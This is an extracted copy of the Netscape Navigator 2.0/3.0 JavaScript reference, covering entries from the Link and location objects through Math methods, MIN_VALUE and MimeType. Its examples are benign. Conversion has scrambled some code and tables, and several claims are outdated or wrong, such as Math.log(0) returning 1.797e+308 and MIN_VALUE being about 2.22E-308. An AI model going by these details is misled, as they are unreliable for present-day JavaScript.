Navigator 2.0

Description
Use the link method to programmatically create a hypertext link, and then call write or writeln to display the link in a document. Links created with the link method become elements in the links array. See the Link object for information about the links
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (32 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

array.

Examples
The following example displays the word "Netscape" as a hypertext link that returns the user to the Netscape home page: var hotText="Netscape" var URL="http://home.netscape.com" document.write("Click to return to " + hotText.link(URL)) The previous example produces the same output as the following HTML: Click to return to <A HREF="http://home.netscape.com">Netscape</A>

See also
Anchor object

Link object
Object. A piece of text, an image, or an area of an image identified as a hypertext link. When the user clicks the link text, image, or area, the link hypertext reference is loaded into its target window. Area objects are a type of Link object.

HTML syntax
To define a link, use standard HTML syntax with the addition of JavaScript event handlers: <A HREF=locationOrURL [NAME="anchorName"] [TARGET="windowName"] [onClick="handlerText"] [onMouseOut="handlerText"]> [onMouseOver="handlerText"]> linkText </A> You can also define a link using the link method. To define an area, use standard HTML syntax with the addition of JavaScript event handlers: <MAP NAME="mapName"> <AREA [NAME="areaName"] COORDS="x1,y1,x2,y2,..."|"x-center,y-center,radius" HREF="locationOrURL" [SHAPE="rect"|"poly"|"circle"|"default"]
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (33 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

[TARGET="windowName"] [onMouseOut="handlerText"] [onMouseOver="handlerText"]> </MAP>

HTML attributes
HREF=locationOrURL identifies a destination anchor or URL. For areas, any region of an image that does not have an HREF attribute does not function as a hyperlink. For areas, this attribute is required if you include the onMouseOut and onMouseOver event handlers. See the location object for a description of the URL components. NAME="anchorName" is used only if the link is also an anchor. It specifies a name for the anchor that then becomes an available hypertext target within the current document. See the Anchor object for details. TARGET="windowName" specifies the frame or window that the link is loaded into. windowName can be an existing window; it can be a frame name specified in a <FRAMESET> tag; or it can be one of the literal frame names _top, _parent, _self, or _blank. It cannot be a JavaScript expression (for example, it cannot be parent.frameName or windowName.frameName). linkText is the text or HTML source that the user sees as a hypertext link to the URL. NAME="mapName" specifies the name of the map. You can specify this map name in the USEMAP attribute of the <IMG> tag. AREA defines an area of an image as an image map. NAME="areaName" specifies the name of the Area object. This attribute is not reflected in JavaScript (you cannot refer to an Area object by name). COORDS specifies the coordinates of the image map. SHAPE specifies the shape of the map. "default" specifies a region as the default. If omitted, "rect" is used.

Syntax
To use a Link or Area object's properties: document.links[index].propertyName

Parameters
index is an integer representing a Link or Area object or the name of a Link or Area object as specified by the NAME attribute. propertyName is one of the properties listed below.

Property of
document

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (34 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Implemented in
q q

Navigator 2.0 Navigator 3.0: added onMouseOut event handler; added Area objects; links array contains areas created with <AREA HREF="...">

Description
Each Link object is a location object and has the same properties as a location object. If a Link object is also an Anchor object, the object has entries in both the anchors and links arrays. When a user clicks a Link object and navigates to the destination document (specified by HREF=locationOrURL), the destination document's referrer property contains the URL of the source document. Evaluate the referrer property from the destination document. You can use a Link object to execute a JavaScript function rather than link to a hypertext reference by specifying the javascript: URL protocol for the link's HREF attribute. You might want to do this if the link surrounds an Image object and you want to execute JavaScript code when the image is clicked. Or you might want to use a link instead of a button to execute JavaScript code. For example, when a user clicks the following links, the slower and faster functions execute: <A HREF="javascript:slower()">Slower</A> <A HREF="javascript:faster()">Faster</A> You can use a Link object to do nothing rather than link to a hypertext reference by specifying the javascript:void(0) URL protocol for the link's HREF attribute. You might want to do this if the link surrounds an Image object and you want to use the link's event handlers with the image. When a user clicks the following link or image, nothing happens: <A HREF="javascript:void(0)">Click here to do nothing</A> <A HREF="javascript:void(0)"> <IMG SRC="images\globe.gif" ALIGN="top" HEIGHT="50" WIDTH="50"> </A> Area objects Area objects are in the links array. You cannot refer to an Area object by name; you must use the links array. For example, if a document contains three Area objects, these objects are reflected as document.links[0], document.links[1], and document.links[2]. For information on the links array, see "The links array". The HREF attribute is required for Area objects that use the onMouseOut or onMouseOver event handlers. However, if you create an Area for an image and do not want the image to link to a hypertext reference when clicked, specify a JavaScript function in the area's HREF attribute by using the javascript: URL protocol. For example, if a user clicks the following Area object, the function onTop executes. <MAP NAME="worldMap"> <AREA NAME="topWorld" COORDS="0,0,50,25" HREF="javascript:onTop()" onMouseOver="self.status='You are on top of the world';return true" onMouseOut="self.status='You have left the top of the world';return true">
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (35 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

</MAP> If you want an area's link to do nothing, use javascript:void(0) in the HREF attribute. When the user clicks the following Area object, nothing happens: <MAP NAME="worldMap"> <AREA NAME="topWorld" COORDS="0,0,50,25" HREF="javascript:void(0)" onMouseOver="self.status='You are on top of the world';return true" onMouseOut="self.status='You have left the top of the world';return true"> </MAP> The links array You can reference the Area and Link objects in your code by using the links array. This array contains an entry for each Area (<AREA HREF="..."> tag) and Link (<A HREF=""> tag) object in a document in source order. It also contains links created with the link method.For example, if a document contains three Link objects, these links are reflected as document.links[0], document.links[1], and document.links[2]. To use the links array: 1. document.links[index] 2. document.links.length index is an integer representing a link in a document or the name of a Link object as specified by the NAME attribute. To obtain the number of links in a document, use the length property: document.links.length. Elements in the links array are read-only. For example, the statement document.links[0]="link1" has no effect.

Properties
The Area and Link objects have the following properties:

Property Description hash host Specifies an anchor name in the URL Specifies the host and domain name, or IP address, of a network host

hostname Specifies the host:port portion of the URL href Specifies the entire URL

pathname Specifies the url-path portion of the URL port Specifies the communications port that the server uses for communications

protocol Specifies the beginning of the URL, including the colon search target Specifies a query Reflects the TARGET attribute

The links array has the following property:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (36 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Property Description length Reflects the number of links in a document

Methods
q q q

eval toString valueOf

Event handlers
Area objects have the following event handlers:
q q

onMouseOut onMouseOver

Link objects have the following event handlers:


q q q

onClick onMouseOut onMouseOver

Examples
Example 1. The following example creates a hypertext link to an anchor named javascript_intro: <A HREF="#javascript_intro">Introduction to JavaScript</A> Example 2. The following example creates a hypertext link to an anchor named numbers in the file doc3.html in the window window2. If window2 does not exist, it is created. <LI><A HREF=doc3.html#numbers TARGET="window2">Numbers</A> Example 3. The following example takes the user back x entries in the history list: <A HREF="javascript:history.go(-1 * x)">Click here</A> Example 4. The following example creates a hypertext link to a URL. The user can use the set of radio buttons to choose between three URLs. The link's onClick event handler sets the URL (the link's href property) based on the selected radio button. The link also has an onMouseOver event handler that changes the window's status property. As the example shows, you must return true to set the window.status property in the onMouseOver event handler. <SCRIPT> var destHREF="http://home.netscape.com/" </SCRIPT> <FORM NAME="form1"> <B>Choose a destination from the following list, then click "Click me" below.</B>

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (37 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

<BR><INPUT TYPE="radio" NAME="destination" VALUE="netscape" onClick="destHREF='http://home.netscape.com/'"> Netscape home page <BR><INPUT TYPE="radio" NAME="destination" VALUE="sun" onClick="destHREF='http://www.sun.com/'"> Sun home page <BR><INPUT TYPE="radio" NAME="destination" VALUE="rfc1867" onClick="destHREF='http://www.ics.uci.edu/pub/ietf/html/rfc1867.txt'"> RFC 1867 <P><A HREF="" onMouseOver="window.status='Click this if you dare!'; return true" onClick="this.href=destHREF"> <B>Click me</B></A> </FORM> Example 5: links array. In the following example, the linkGetter function uses the links array to display the value of each link in the current document. The example also defines several links and a button for running linkGetter. function linkGetter() { msgWindow=window.open("","msg","width=400,height=400") msgWindow.document.write("links.length is " + document.links.length + "<BR>") for (var i = 0; i < document.links.length; i++) { msgWindow.document.write(document.links[i] + "<BR>") } } <A HREF="http://home.netscape.com">Netscape Home Page</A> <A HREF="http://www.catalog.com/fwcfc/">China Adoptions</A> <A HREF="http://www.supernet.net/~dugbrown/">Bad Dog Chronicles</A> <A HREF="http://www.best.com/~doghouse/homecnt.shtml">Lab Rescue</A> <P> <INPUT TYPE="button" VALUE="Display links" onClick="linkGetter()"> Example 6: Area object with onMouseOver and onMouseOut event handlers. The following example displays an image, globe.gif. The image uses an image map that defines areas for the top half and the bottom half of the image. The onMouseOver and onMouseOut event handlers display different status bar messages depending on whether the mouse passes over or leaves the top half or bottom half of the image. The HREF attribute is required when using the onMouseOver and onMouseOut event handlers, but in this example the image does not need a hypertext link, so the HREF attribute executes javascript:void(0), which does nothing (see "void" for more information). <MAP NAME="worldMap"> <AREA NAME="topWorld" COORDS="0,0,50,25" HREF="javascript:void(0)" onMouseOver="self.status='You are on top of the world';return true" onMouseOut="self.status='You have left the top of the world';return true"> <AREA NAME="bottomWorld" COORDS="0,25,50,50" HREF="javascript:void(0)" onMouseOver="self.status='You are on the bottom of the world';return true" onMouseOut="self.status='You have left the bottom of the world';return true"> </MAP> <IMG SRC="images\globe.gif" ALIGN="top" HEIGHT="50" WIDTH="50" USEMAP="#worldMap"> Example 7: Refer to Area object with links array. The following code refers to the href property of the first Area object shown in Example 1.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (38 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

document.links[0].href Example 8: Simulate an Area object's onClick using the HREF attribute. The following example uses an Area object's HREF attribute to execute a JavaScript function. The image displayed, colors.gif, shows two sample colors. The top half of the image is the color "antiquewhite", and the bottom half is "white". When the user clicks the top or bottom half of the image, the function setBGColor changes the document's background color to the color shown in the image. <SCRIPT> function setBGColor(theColor) { document.bgColor=theColor } </SCRIPT> Click the color you want for this document's background color <MAP NAME="colorMap"> <AREA NAME="topColor" COORDS="0,0,50,25" HREF="javascript:setBGColor('antiquewhite')"> <AREA NAME="bottomColor" COORDS="0,25,50,50" HREF="javascript:setBGColor('white')"> </MAP> <IMG SRC="images\colors.gif" ALIGN="top" HEIGHT="50" WIDTH="50" USEMAP="#colorMap">

See also
Anchor object, Image object; link method

linkColor
Property. A string specifying the color of the document hyperlinks.

Syntax
document.linkColor

Property of
document

Implemented in
Navigator 2.0

Tainted?
No

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (39 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Description
The linkColor property is expressed as a hexadecimal RGB triplet or as one of the string literals listed in "Color values". This property is the JavaScript reflection of the LINK attribute of the <BODY> tag. The default value of this property is set by the user on the Colors tab of the Preferences dialog box, which is displayed by choosing General Preferences from the Options menu. You cannot set this property after the HTML source has been through layout. If you express the color as a hexadecimal RGB triplet, you must use the format rrggbb. For example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the RGB triplet for salmon is "FA8072."

Examples
The following example sets the color of document links to aqua using a string literal: document.linkColor="aqua" The following example sets the color of document links to aqua using a hexadecimal triplet: document.linkColor="00FFFF"

See also
alinkColor, bgColor, fgColor, vlinkColor properties

links
Property. An array of objects corresponding to Area and Link objects in source order. See the Link object for information.

Tainted?
Yes

LN2
Property. The natural logarithm of two, approximately 0.693.

Syntax
Math.LN2

Property of
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (40 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Math

Implemented in
Navigator 2.0

Tainted?
No

Description
Because LN2 is a constant, it is a read-only property of Math.

Examples
The following function returns the natural log of two: function getNatLog2() { return Math.LN2 }

See also
E, LN10, LOG2E, LOG10E, PI, SQRT1_2, SQRT2 properties

LN10
Property. The natural logarithm of 10, approximately 2.302.

Syntax
Math.LN10

Property of
Math

Implemented in
Navigator 2.0

Tainted?
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (41 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

No

Description
Because LN10 is a constant, it is a read-only property of Math.

Examples
The following function returns the natural log of 10: function getNatLog10() { return Math.LN10 }

See also
E, LN2, LOG2E, LOG10E, PI, SQRT1_2, SQRT2 properties

location
Object. Contains information on the current URL.

Syntax
To use a location object: [windowReference.]location[.propertyName] [windowReference.]location.methodName(parameters)

Parameters
windowReference is a variable windowVar from a window definition (see the window object), or one of the synonyms top or parent. propertyName is one of the properties listed below. Omitting the property name is equivalent to specifying the href property (the complete URL). methodName is one of the methods listed below.

Property of
window object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (42 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Implemented in
q q

Navigator 2.0 Navigator 3.0: added reload, replace methods; changed the way documents are loaded when location is set

Description
The location object represents a complete URL. Each property of the location object represents a different portion of the URL. The following diagram of a URL shows the relationships between the location properties: protocol//host:port/pathname#hash?search For example: http://home.netscape.com/assist/extensions.html#topic1?x=7&y=2 Following is a description of each part of the URL diagram:
q q q q q

protocol represents the beginning of the URL, up to and including the first colon. host represents the host and domain name, or IP address, of a network host. port represents the communications port that the server uses for communications. pathname represents the url-path portion of the URL. hash represents an anchor name fragment in the URL, including the hash mark (#). This property applies to http URLs only. search represents any query information in the URL, including the question mark (?). This property applies to http URLs only. The search string contains variable and value pairs; each pair is separated by an ampersand (&).

See the properties (listed below) for details about the different parts of the URL, or the href property for examples. The location object has two other properties not shown in the diagram above:
q q

href represents a complete URL. hostname represents the concatenation host:port.

Omitting a property name from the location object is equivalent to specifying location.href. For example, the following two statements are equivalent and set the URL of the current window to the Netscape home page: window.location.href="http://home.netscape.com/" window.location="http://home.netscape.com/" The location object is contained by the window object and is within its scope. If you reference a location object without specifying a window, the location object represents the current location. If you reference a location object and specify a window name, for example, windowReference.location .propertyName, the location object represents the location of the specified window. In event handlers, you must specify window.location instead of simply using location. Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (43 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Do not use location as a property of the document object; use the document.URL property instead. The document.location property, which is a synonym for document.URL, will be removed in a future release. How documents are loaded when location is set When you set the location object or any of its properties except hash, whether a new document is loaded depends on which version of Navigator you are running:
q

In Navigator 2.0, setting location does a conditional ("If-modified-since") HTTP GET operation, which returns no data from the server unless the document has been modified since the last version downloaded. In Navigator 3.0, the effect of setting location depends on the user's setting for verifying documents. (The user chooses Network Preferences from the Options menu and on the Cache tab, specifies one of the following for Verify Documents: Once Per Session, Every Time, or Never.) The document is reloaded from cache if the user sets Never or Once Per Session; the document is reloaded from the server only if the user chooses Every Time.

Syntax for common URL types When you specify a URL, you can use standard URL formats and JavaScript statements. The following list shows the syntax for specifying some of the most common types of URLs.

URL type JavaScript code Navigator info World Wide Web File FTP MailTo Usenet Gopher

Protocol javascript: about: http: file:/ ftp: mailto: news: gopher:

Example javascript:history.go(-1) about:cache http://home.netscape.com/ file:///javascript/methods.html ftp://ftp.mine.com/home/mine mailto:info@netscape.com news://news.scruznet.com/comp.lang.javascript gopher.myhost.com

Navigator source viewer view-source: view-source:wysiwyg://0/file:/c|/temp/genhtml.html

The javascript: protocol evaluates the expression after the colon (:), if there is one, and loads a page containing the string value of the expression, unless it is undefined. If the expression evaluates to undefined (by calling a void function, for example javascript:void(0)), no new page loads. Note that loading a new page over your script's page clears the page's variables, functions, and so on. The view-source: protocol displays HTML code that was generated with JavaScript write and writeln methods. For information on printing and saving generated HTML, see the write method. The about: protocol provides information on Navigator and has the following syntax: about:[cache|plugins]
q q q

about: by itself is the same as choosing About Netscape from the Navigator Help menu. about:cache displays disk-cache statistics. about:plugins displays information about plug-ins you have configured. This is the same as choosing About Plug-ins

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (44 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

from the Navigator Help menu.

Properties
The location object has the following properties:

Property Description hash host Specifies an anchor name in the URL Specifies the host and domain name, or IP address, of a network host

hostname specifies the host:port portion of the URL href Specifies the entire URL

pathname Specifies the url-path portion of the URL port Specifies the communications port that the server uses for communications

protocol Specifies the beginning of the URL, including the colon search Specifies a query

Methods
The location object has the following methods:

q q q

eval reload replace

q q

toString valueOf

Event handlers
None.

Examples
Example 1. The following two statements are equivalent and set the URL of the current window to the Netscape home page: window.location.href="http://home.netscape.com/" window.location="http://home.netscape.com/" Example 2. The following statement sets the URL of a frame named frame2 to the Sun home page: parent.frame2.location.href="http://www.sun.com/" See also the examples for the Anchor object.

See also
history object; URL property
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (45 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

log
Method. Returns the natural logarithm (base e) of a number.

Syntax
Math.log(number)

Parameters
number is any positive numeric expression or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

Description
If the value of number is outside the suggested range, the return value is always -1.797693134862316e+308.

Examples
The following function returns the natural log of the variable x: function getLog(x) { return Math.log(x) } If you pass getLog the value 10, it returns 2.302585092994046; if you pass it the value zero, it returns 1.797693134862316e+308 because zero is out of range.

See also
exp, pow methods

LOG2E
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (46 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Property. The base 2 logarithm of e (approximately 1.442).

Syntax
Math.LOG2E

Property of
Math

Implemented in
Navigator 2.0

Tainted?
No

Description
Because LOG2E is a constant, it is a read-only property of Math.

Examples
The following function returns the base 2 logarithm of E: function getLog2e() { return Math.LOG2E }

See also
E, LN2, LN10, LOG10E, PI, SQRT1_2, SQRT2 properties

LOG10E
Property. The base 10 logarithm of e (approximately 0.434).

Syntax
Math.LOG10E

Property of
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (47 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Math

Implemented in
Navigator 2.0

Tainted?
No

Description
Because LOG10E is a constant, it is a read-only property of Math.

Examples
The following function returns the base 10 logarithm of E: function getLog10e() { return Math.LOG10E }

See also
E, LN2, LN10, LOG2E, PI, SQRT1_2, SQRT2 properties

lowsrc
Property. A string specifying the URL of a low-resolution version of an image to be displayed in a document.

Syntax
imageName.lowsrc

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (48 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Implemented in
Navigator 3.0

Tainted?
No

Description
The lowsrc property initially reflects the LOWSRC attribute of the <IMG> tag. Navigator loads the smaller image specified by lowsrc and then replaces it with the larger image specified by the src property. You can change the lowsrc property at any time.

Examples
See the examples for the src property.

See also
complete, src properties

[Next reference file]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (49 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

[Previous reference file]

Math
Object. A built-in object that has properties and methods for mathematical constants and functions. For example, the Math object's PI property has the value of pi.

Syntax
To use a Math object: 1. Math.propertyName 2. Math.methodName(parameters)

Parameters
propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
None. The Math object is a top-level, built-in JavaScript object.

Implemented in
Navigator 2.0

Description
You reference the constant PI as Math.PI. Constants are defined with the full precision of real numbers in JavaScript. Similarly, you reference Math functions as methods. For example, the sine function is Math.sin(argument), where argument is the argument. It is often convenient to use the with statement when a section of code uses several Math constants and methods, so you don't have to type "Math" repeatedly. For example, with a y x } (Math) { = PI * r*r = r*sin(theta) = r*cos(theta)

Properties
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (1 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

The Math object has the following properties:


q q q q

E LN2 LN10 LOG2E

q q q q

LOG10E PI SQRT1_2 SQRT2

Methods
The Math object has the following methods:

q q q q q q q

abs acos asin atan atan2 ceil cos

q q q q q q q

eval exp floor log max min pow

q q q q q q q

random round sin sqrt tan toString valueOf

Event handlers
None.

Examples
See the examples for the individual properties and methods.

max
Method. Returns the greater of two numbers.

Syntax
Math.max(number1, number2)

Parameters
number1 and number2 are any numeric arguments or the properties of existing objects.

Method of
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (2 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Math

Implemented in
Navigator 2.0

Examples
The following function evaluates the variables x and y: function getMax(x,y) { return Math.max(x,y) } If you pass getMax the values 10 and 20, it returns 20; if you pass it the values -10 and -20, it returns -10.

See also
min method

MAX_VALUE
Property. The maximum numeric value representable in JavaScript.

Syntax
Number.MAX_VALUE

Property of
Number

Implemented in
Navigator 3.0

Tainted?
No

Description
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (3 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

The maximum numeric value representable in JavaScript The MAX_VALUE property has a value of approximately 1.79E+308. Values larger than MAX_VALUE are represented as "Infinity". Because MAX_VALUE is a constant, it is a read-only property of Number.

Examples
The following code multiplies two numeric values. If the result is less than or equal to MAX_VALUE, the func1 function is called; otherwise, the func2 function is called. if (num1 * num2 <= Number.MAX_VALUE) func1() else func2()

See also
MIN_VALUE, NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY properties

method
Property. A string specifying how form field input information is sent to the server.

Syntax
formName.method

Parameters
formName is either the name of a form or an element in the forms array.

Property of
Form object

Implemented in
Navigator 2.0

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (4 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Tainted?
No

Description
The method property is a reflection of the METHOD attribute of the <FORM> tag. The method property should evaluate to either "get" or "post." You can set the method property at any time.

Examples
The following function returns the value of the musicForm method property: function getMethod() { return document.musicForm.method }

See also
action, encoding, target properties; Form object

MimeType
Object. A MIME type (Multipart Internet Mail Extension) supported by the client.

Syntax
To use a MimeType object: navigator.mimeTypes[index].propertyName

Parameters
index is either an integer representing a MIME type supported by the client or a string containing the type of a MimeType object (from the type property). propertyName is one of the properties listed below.

Property of

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (5 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

The mimeTypes array is a property of navigator. The MimeType object is a member of the mimeTypes array; each Plugin object also has an array of MimeType objects.

Implemented in
Navigator 3.0

Description
Each MimeType object is an element in the mimeTypes array. For example, the following table summarizes the values for displaying JPEG images:

Expression navigator.mimeTypes["image/jpeg"].type navigator.mimeTypes["image/jpeg"].description navigator.mimeTypes["image/jpeg"].suffixes

Value image/jpeg JPEG Image jpeg, jpg, jpe, jfif, pjpeg, pjp

navigator.mimeTypes["image/jpeg"].enabledPlugins null The mimeTypes array The mimeTypes array contains an entry for each MIME type supported by the client (either internally, via helper applications, or by plug-ins). For example, if a client supports three MIME types, these MIME types are reflected as navigator.mimeTypes[0], navigator.mimeTypes[1], and navigator.mimeTypes[2]. Each element of the mimeTypes array is a MimeType object. To use the mimeTypes array: 1. navigator.mimeTypes[index] 2. navigator.mimeTypes.length index is either an integer representing a MIME type supported by the client or a string containing the type of a MimeType object (from the type property). To obtain the number of MIME types supported by the client, use the length property: navigator.mimeTypes.length. Elements in the mimeTypes array are read-only. For example, the statement navigator.mimeTypes[0]="video/quicktime" has no effect. The mimeTypes array used with the Plugin object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (6 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Each Plugin object has its own mimeTypes array, which contains an entry for each MIME type handled by the plug-in. For information, see Plugin.

Properties
The MimeType object has the following properties:

Property description

Description A description of the type

enabledPlugin A reference to the Plugin object configured for the MIME type type suffixes The name of the MIME type, for example "video/mpeg or audio/x-wav" A string listing possible file name extensions for the MIME type, for example "mpeg, mpg, mpe, mpv, vbs, mpegv"

The mimeTypes array has the following properties:

Property Description length Reflects the number of MIME types supported by the client

Methods
q q q

eval toString valueOf

Event handlers
None.

Examples
The following code displays the type, description, suffixes, and enabledPlugin properties for each MimeType object on a client: document.writeln("<TABLE BORDER=1><TR VALIGN=TOP>", "<TH ALIGN=left>i", "<TH ALIGN=left>type", "<TH ALIGN=left>description", "<TH ALIGN=left>suffixes", "<TH ALIGN=left>enabledPlugin.name</TR>") for (i=0; i < navigator.mimeTypes.length; i++) { document.writeln("<TR VALIGN=TOP><TD>",i, "<TD>",navigator.mimeTypes[i].type, "<TD>",navigator.mimeTypes[i].description,
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (7 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

"<TD>",navigator.mimeTypes[i].suffixes) if (navigator.mimeTypes[i].enabledPlugin==null) { document.writeln( "<TD>None", "</TR>") } else { document.writeln( "<TD>",navigator.mimeTypes[i].enabledPlugin.name, "</TR>") } } document.writeln("</TABLE>") The preceding example displays output similar to the following:

i type 0 audio/aiff 1 audio/wav 2 audio/x-midi 3 audio/midi 4 video/msvideo 5 * 6 zz-application/zz-winassoc-TGZ

description AIFF WAV MIDI MIDI Video for Windows Netscape Default Plugin

suffixes aif, aiff wav

enabledPlugin.name LiveAudio LiveAudio

mid, midi LiveAudio mid, midi LiveAudio avi TGZ NPAVI32 Dynamic Link Library Netscape Default Plugin None

See also
Plugin object

mimeTypes
Property. An array of all MIME types supported by the client. See the MimeType object for information.

Tainted?
No

min
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (8 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Method. Returns the lesser of two numbers.

Syntax
Math.min(number1, number2)

Parameters
number1 and number2 are any numeric arguments or the properties of existing objects.

Method of
Math

Implemented in
Navigator 2.0

Examples
The following function evaluates the variables x and y: function getMin(x,y) { return Math.min(x,y) } If you pass getMin the values 10 and 20, it returns 10; if you pass it the values -10 and -20, it returns -20.

See also
max method

MIN_VALUE
Property. The smallest positive numeric value representable in JavaScript.

Syntax
Number.MIN_VALUE

Property of
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (9 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Number

Implemented in
Navigator 3.0

Tainted?
No

Description
The MIN_VALUE property is the number closest to zero, not the most negative number, that JavaScript can represent. MIN_VALUE has a value of approximately 2.22E-308. Values smaller than MIN_VALUE ("underflow values") are converted to zero. Because MIN_VALUE is a constant, it is a read-only property of Number.

Examples
The following code divides two numeric values. If the result is greater than or equal to MIN_VALUE, the func1 function is called; otherwise, the func2 function is called. if (num1 / num2 >= Number.MIN_VALUE) func1() else func2()

See also
MAX_VALUE, NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY properties

Implemented in
Navigator 2.0

name
Property. A string specifying the name of an object.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (10 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Syntax
1. 2. 3. 4. 5. 6. 7. 8. objectName.name frameReference.name frameReference.frames.name radioName[index].name imageName.name navigator.plugins[index].name windowReference.name windowReference.frames.name

Parameters
